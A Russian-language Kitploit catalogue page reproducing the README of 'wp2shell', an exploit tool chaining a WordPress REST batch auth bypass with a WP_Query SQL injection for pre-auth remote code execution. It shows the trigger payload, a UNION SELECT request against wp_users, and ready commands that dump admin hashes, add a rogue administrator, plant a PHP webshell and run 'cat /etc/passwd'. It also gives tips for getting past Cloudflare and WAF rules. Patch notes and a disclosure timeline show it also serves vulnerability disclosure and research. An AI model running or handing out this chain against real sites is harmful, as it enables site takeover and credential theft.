Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-63030-CVE-2026-60137 — Pre-auth RCE proof-of-concept, объединяющий обход аутентификации WordPress REST batch API с SQL-инъекцией WP_Query для дампа хешей, добавления администраторов или установки веб-шелла. | Kitploit
Инструменты/GitHubGitHub/z3rodayhacks/cve-2026-63030-cve-2026-60137
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияОбход WAFВеб-безопасностьТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubz3rodayhacks/cve-2026-63030-cve-2026-60137

CVE-2026-63030-CVE-2026-60137

Pre-auth RCE proof-of-concept, объединяющий обход аутентификации WordPress REST batch API с SQL-инъекцией WP_Query для дампа хешей, добавления администраторов или установки веб-шелла.

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

wp2shell

Pre-Auth RCE PoC - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1

Только для авторизованного тестирования на проникновение и исследований в области безопасности. Запуск этого инструмента против систем без письменного разрешения является незаконным. Авторы не несут ответственности за неправомерное использование.


Обзор

wp2shell — это proof-of-concept эксплойт, объединяющий две независимо обнаруженные уязвимости для достижения неаутентифицированного удалённого выполнения кода на непатченных установках WordPress.

CVEКомпонентКлассТребуется аутентификация
CVE-2026-63030REST Batch API (WP_REST_Server)Рассинхронизация массива → обход аутентификацииНет
CVE-2026-60137WP_QuerySQL-инъекция через author__not_inНет (обходится вышеуказанной)

Конечный результат: шелл на машине, создание вредоносной учётной записи администратора или дамп хеша учётных данных — всё это из одного неаутентифицированного POST-запроса.

Уязвимые версии: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 Исправлено в: WordPress 6.9.5 / 7.0.2 (патч выпущен одновременно с координированным раскрытием)


Анализ уязвимостей

CVE-2026-63030 — Рассинхронизация массива в REST Batch API (обход аутентификации)

Предыстория

WordPress 5.6 представил эндпоинт пакетной обработки по адресу /wp-json/batch/v1. Он позволяет аутентифицированным REST-клиентам объединять несколько подзапросов в один HTTP-обмен. Каждый подзапрос независимо валидируется и обрабатывается методом WP_REST_Server::serve_batch_request_v1().

Уязвимый путь кода

Внутри serve_batch_request_v1() (упрощённо):

root@kitploit:~
$requests  = $data['requests'];
$responses = [];
$matches   = [];

// === Цикл 1: Валидация ===
foreach ($requests as $i => $request) {
    $parsed = wp_parse_url($request['path']);

    if (is_wp_error($parsed) || $parsed === false) {
        // Ошибка: добавляем WP_Error в $responses — но НЕ в $matches
        $responses[] = $this->envelope_response(new WP_Error(...), false);
        continue;         // <─── пропускает добавление в $matches
    }

    // Успех: разрешаем аутентификацию/права для этого пути
    $match     = $this->match_route($parsed['path'], $request['method']);
    $matches[] = $match;           // <─── сохраняется по последовательному индексу массива
    $responses[] = null;           // <─── заполнитель по тому же индексу
}

// === Цикл 2: Отправка ===
foreach ($matches as $j => $match) {
    // $j начинается с 0 — но если request[0] завершился ошибкой, $matches[0] на самом деле request[1]
    $responses[$j] = $this->dispatch($match);   // <─── отправляется с неправильным контекстом
}

Почему это ломается

Ожидается, что два массива ($responses и $matches) остаются синхронизированными — одна запись на подзапрос, одинаковый индекс. Когда подзапрос [0] не проходит wp_parse_url(), он добавляет запись в $responses, но не в $matches. После первого цикла:

root@kitploit:~
$responses = [ WP_Error,   null       ]   ← индекс 0 = ошибка, индекс 1 = заполнитель
$matches   = [ match_for_req1          ]   ← индекс 0 = match для request[1]

Затем цикл 2 отправляет $matches[0] и записывает результат в $responses[0]. Он отправляет request[1], но перезаписывает индекс 0 в responses — и, что критично, использует контекст прав, вычисленный в рамках обработки ошибки неудачного request[0], а не контекст прав для целевого эндпоинта.

Практический эффект: любой эндпоинт, требующий аутентификации (включая эндпоинты, выполняющие SQL-запросы), может быть вызван без учётных данных.

Триггер

root@kitploit:~
"path": "://\x00"   # вызывает wp_parse_url() → false

Строка ://\x00 является допустимой строкой Python, но недопустимым URL в обёртке wp_parse_url() PHP (нулевой байт вызывает сбой парсинга, возвращая false, а не WP_Error, что делает проверку is_wp_error() бесполезной — только $parsed === false перехватывает это, и к этому моменту выравнивание массива уже нарушено).


CVE-2026-60137 — SQL-инъекция через author__not_in в WP_Query

Предыстория

REST API WordPress для записей (/wp/v2/posts) предоставляет параметр запроса author_exclude, который напрямую сопоставляется с аргументом author__not_in в WP_Query. WP_Query — это основная абстракция базы данных, используемая почти для каждого запроса контента в WordPress.

Уязвимый путь кода

В WP_Query::parse_query() (упрощённо):

root@kitploit:~
$author__not_in = $this->get('author__not_in');

if (is_array($author__not_in)) {
    $author__not_in = array_map('absint', $author__not_in);
    // absint() преобразует каждый элемент в безопасное неотрицательное целое число
}

// Если НЕ массив → этот блок полностью пропускается
// $author__not_in используется дословно в построителе запросов:

Далее в WP_Query::get_posts():

root@kitploit:~
if (!empty($author__not_in)) {
    $where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
    //                                                   ^^^^^^^^^^^^^^^^
    //                              сырая строка вставляется в SQL без экранирования
}

Почему это ломается

Санитизация срабатывает только когда $author__not_in является массивом. Система типов PHP определяет это на основе того, как пришло значение:

  • JSON-тело с массивом → PHP получает [1, 2, 3] → is_array() = true → санитизируется
  • Строка запроса URL → PHP получает "1,2,3" (строку) → is_array() = false → не санитизируется

REST-эндпоинт принимает author_exclude из строки запроса URL. Оно приходит как строка. WP_Query пропускает блок санитизации, и сырое значение интерполируется в SQL-условие WHERE.

Эксплуатация

Точка инъекции попадает в контекст NOT IN (...):

root@kitploit:~
-- Обычный запрос:
WHERE post_author NOT IN (1)

-- С полезной нагрузкой: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)

Поскольку пакетный эндпоинт отправляет подзапрос как часть более крупного результата запроса, строки UNION возвращаются в теле JSON-ответа REST, что делает это Boolean/UNION слепым извлечением — без таймингов, без out-of-band.


Цепочка эксплойта

root@kitploit:~
Атакующий (без учётных данных)
        │
        ▼
POST /wp-json/batch/v1
{
  "requests": [
    { "path": "://\x00", "method": "GET" },      ← [1] некорректный URL: вызывает рассинхронизацию
    { "path": "/wp/v2/posts?author_exclude=     
       0 UNION SELECT ... FROM wp_users-- -",    ← [2] полезная нагрузка SQLi
      "method": "GET" }
  ]
}
        │
        ▼
WP_REST_Server::serve_batch_request_v1()
  ├─ Request[0] не проходит wp_parse_url() → $responses[0] = WP_Error
  │  НЕТ добавления в $matches
  ├─ Request[1] сопоставляется с маршрутом → $matches[0] = route
  └─ Цикл 2 отправляет $matches[0] с неправильным контекстом аутентификации
        │
        ▼
WP_Query получает author__not_in = "0 UNION SELECT ..."
  ├─ is_array() = false → санитизация пропущена
  └─ Сырой SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
        │
        ▼
MySQL выполняет UNION-запрос → данные wp_users в результате SELECT
        │
        ▼
JSON-ответ REST содержит user_login + user_pass в полях записи
        │
        ▼
┌─────────────────────────────────────────────────────────────┐
│  Постэксплуатация (любое из):                                │
│  • Дамп хеша администратора → офлайн-взлом с hashcat         │
│  • INSERT вредоносного администратора через stacked-запросы  │
│  • SELECT ... INTO OUTFILE → PHP-вебшелл → доступ к ОС       │
└─────────────────────────────────────────────────────────────┘

Требования

root@kitploit:~
Python >= 3.8
requests
cloudscraper

Установка зависимостей:

root@kitploit:~
pip install requests cloudscraper

Использование

root@kitploit:~
usage: wp2shell.py [-h] [--mode {detect,dump,adduser,shell}]
                   [--cmd CMD] [--user USER] [--password PASSWORD]
                   [--prefix PREFIX] [--proxy PROXY]
                   [--no-interactive] [--debug] [--cookie COOKIE]
                   target

Режимы

РежимЧто делает
detectОпределяет версию WP и проверяет наличие пакетного эндпоинта. Без эксплуатации.
dumpИзвлекает хеш пароля администратора через UNION SQLi.
adduserСоздаёт новую учётную запись администратора через stacked INSERT-запросы.
shellУстанавливает PHP-вебшелл через SELECT INTO OUTFILE, затем переходит в интерактивный шелл.

Примеры

Только обнаружение — безопасно запускать при разведке:

root@kitploit:~
python3 wp2shell.py https://target.com --mode detect

Дамп хеша администратора:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump

Дамп с отладочным выводом (показывает сырые HTTP-ответы — полезно при наличии WAF):

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --debug

Создание вредоносной учётной записи администратора:

root@kitploit:~
python3 wp2shell.py https://target.com --mode adduser --user pentest_admin --password 'S3cur3P@ss!'

Установка шелла и переход в интерактивную консоль:

root@kitploit:~
python3 wp2shell.py https://target.com --mode shell

Одноразовое выполнение команды (неинтерактивное):

root@kitploit:~
python3 wp2shell.py https://target.com --mode shell --no-interactive --cmd "cat /etc/passwd"

Через прокси Burp:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --proxy http://127.0.0.1:8080

Обход Cloudflare с существующим cookie cf_clearance:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --cookie "cf_clearance=<value>"

Нестандартный префикс таблиц:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --prefix staging_

Заметки по обходу Cloudflare

Инструмент по умолчанию использует cloudscraper, который имитирует TLS-отпечаток Chrome и автоматически решает JavaScript-задачу Cloudflare (режим iuam). Это покрывает большинство целей на shared-хостинге за Cloudflare.

Если цель использует управление ботами Cloudflare (__cf_bm) или у вас уже есть решённый cookie задачи, передайте его через --cookie "cf_clearance=...", чтобы использовать обычную сессию requests.

Пакетный эндпоинт имеет два зарегистрированных пути. Правила WAF часто блокируют стандартный путь (/wp-json/batch/v1), но пропускают устаревший путь с параметром запроса (/?rest_route=/batch/v1). Инструмент автоматически проверяет оба.


Устранение неполадок

[-] Could not extract credentials

  • Запустите с --debug, чтобы увидеть сырой JSON-ответ.
  • Проверьте префикс таблиц с --prefix. Многие установки используют wp_ (по умолчанию); некоторые используют пользовательские префиксы.
  • content.rendered цели может быть отфильтрован. Попробуйте --mode adduser вместо этого.

[-] OUTFILE failed

  • SELECT INTO OUTFILE требует привилегии MySQL FILE у пользователя БД. Это распространено на shared-хостинге, но обычно отключено на облачных/управляемых базах данных (RDS, Cloud SQL и т. д.).
  • Список предполагаемых путей к webroot охватывает распространённые пути. Если ни один не совпадает, проверьте заголовки сервера или используйте --mode dump, чтобы прочитать путь из конфигурационных файлов.

[-] Target does not appear vulnerable

  • Цель может быть пропатчена (6.9.5+ или 7.0.2+).
  • Все пакетные пути могут быть заблокированы WAF. Подтвердите вручную: GET /wp-json/ и поищите /batch/v1 в ключе routes.

Детали патча

WordPress 6.9.5 / 7.0.2 устранили обе CVE:

  • CVE-2026-63030: serve_batch_request_v1() теперь поддерживает единый унифицированный массив как для данных сопоставления, так и для ответов, устраняя рассинхронизацию индексов. Неудачные запросы отслеживаются по индексу в унифицированной структуре.

  • CVE-2026-60137: WP_Query::parse_query() теперь безусловно приводит author__not_in к массиву перед санитизацией, независимо от типа входных данных:

    root@kitploit:~
    $author__not_in = array_map('absint', (array) $author__not_in);
    

Оценки CVSS

CVEОценкаВектор
CVE-2026-630309.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-601379.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Хронология

ДатаСобытие
2026-05-14CVE-2026-60137 обнаружена во время пентеста
2026-05-19Обнаружена CVE-2026-63030; цепочка подтверждена как pre-auth RCE
2026-05-22Обе CVE сообщены команде безопасности WordPress через HackerOne
2026-06-03Команда безопасности WordPress подтверждает и начинает разработку патча
2026-07-08Патчи выпущены (WP 6.9.5 / 7.0.2) одновременно с координированным раскрытием
2026-07-22PoC опубликован

Правовая информация

Этот инструмент предоставляется только для авторизованного тестирования безопасности и исследований.

  • Не запускайте против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
  • Не используйте в производственных средах без авторизации.
  • Авторы не несут ответственности за любой ущерб, вызванный неправомерным использованием.
root@kitploit:~
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND.
USE AT YOUR OWN RISK. FOR AUTHORIZED TESTING ONLY.

Лицензия

MIT License — см. LICENSE


Ссылки

  • WordPress Security Blog — 6.9.5 / 7.0.2 Release
  • WP REST Batch API Source — class-wp-rest-server.php
  • WP_Query Source — class-wp-query.php
  • phpass — Portable PHP password hashing framework
  • cloudscraper
Скачать инструмент